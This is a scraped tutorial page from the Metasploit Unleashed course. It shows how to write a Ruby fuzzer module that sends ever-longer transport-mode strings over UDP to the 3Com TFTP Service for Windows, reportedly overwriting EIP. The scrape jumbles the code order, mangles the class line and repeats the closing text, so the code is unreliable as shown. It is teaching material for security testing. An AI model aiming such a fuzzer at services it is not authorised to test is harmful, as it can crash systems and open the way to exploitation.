

Simple TFTP Fuzzer a11y.text Simple TFTP Fuzzer Writing your own TFTP Fuzzer Tool a11y.text

Writing your own TFTP Fuzzer Tool One of the most powerful aspects of Metasploit is how easy it is to make changes and create new functionality by reusing existing code. For instance, as this very simple Fuzzer code demonstrates, you can make a few minor modifications to an existing Metasploit module to create a Fuzzer module. The changes will pass ever-increasing lengths to the transport mode value to the 3Com TFTP Service for Windows, resulting in an overwrite of EIP. #Metasploit

```
require 'msf/core'
```

```
class Metasploit3 '3Com TFTP Fuzzer',  
  'Version'      => '$Revision: 1'
```

```
### Testing our Fuzzer Tool
```

Pretty straight forward. Lets run it and see what happens.

![Simple TFTP Fuzzer : Overwriting EIP | Metasploit

Unleashed](https://www.offsec.com/wp-content/uploads/2015/03/EIP_Overwrite.jpg)

Simple TFTP Fuzzer : Overwriting EIP | Metasploit Unleashed

And we have a crash! Our new Fuzzer tool is working as expected. While this may seem simple on the surface, one thing to consider is the reusable code that this provides us. In our example, the payload structure was defined for us, saving us time, and allowing us to get directly to the fuzzing rather than researching the TFTP protocol. This is extremely powerful, and is a hidden benefit of the Metasploit Framework.,

```

        'Description' => '3Com TFTP Fuzzer Passes Overly Long Transport Mode String',
        'Author'      => 'Your name here',
        'License'     => MSF_LICENSE
    )

    register_options( [
        Opt::RPORT(69)
    ], self.class)
end

```

```

def run_host(ip)

    # Create an unbound UDP socket

    udp_sock = Rex::Socket::Udp.create(

        'Context' =>

            {

                'Msf'      => framework,

                'MsfExploit' => self,

            }

    )

    count = 10 # Set an initial count

    while count < 2000 # While the count is under 2000 run

        evil = "A" * count # Set a number of "A"s equal to count

        pkt = "\x00\x02" + "\x41" + "\x00" + evil + "\x00" # Define the payload

        udp_sock.sendto(pkt, ip, datastore['RPORT']) # Send the packet

        print_status("Sending: #{evil}") # Status update

        resp = udp_sock.get(1) # Capture the response

        count += 10 # Increase count by 10, and loop
    end
end

```

end

end

end Testing our Fuzzer Tool a11y.text Testing our Fuzzer Tool Pretty straight forward. Lets run it and see what happens. Simple TFTP Fuzzer : Overwriting EIP | Metasploit Unleashed And we have a crash! Our new Fuzzer tool is working as expected. While this may seem simple on the surface, one thing to consider is the reusable code that this provides us. In our example, the payload structure was defined for us, saving us time, and allowing us to get directly to the fuzzing rather than researching the TFTP protocol. This is extremely powerful, and is a hidden benefit of the Metasploit Framework. Next Simple IMAP Fuzzer Prev Writing a Simple Fuzzer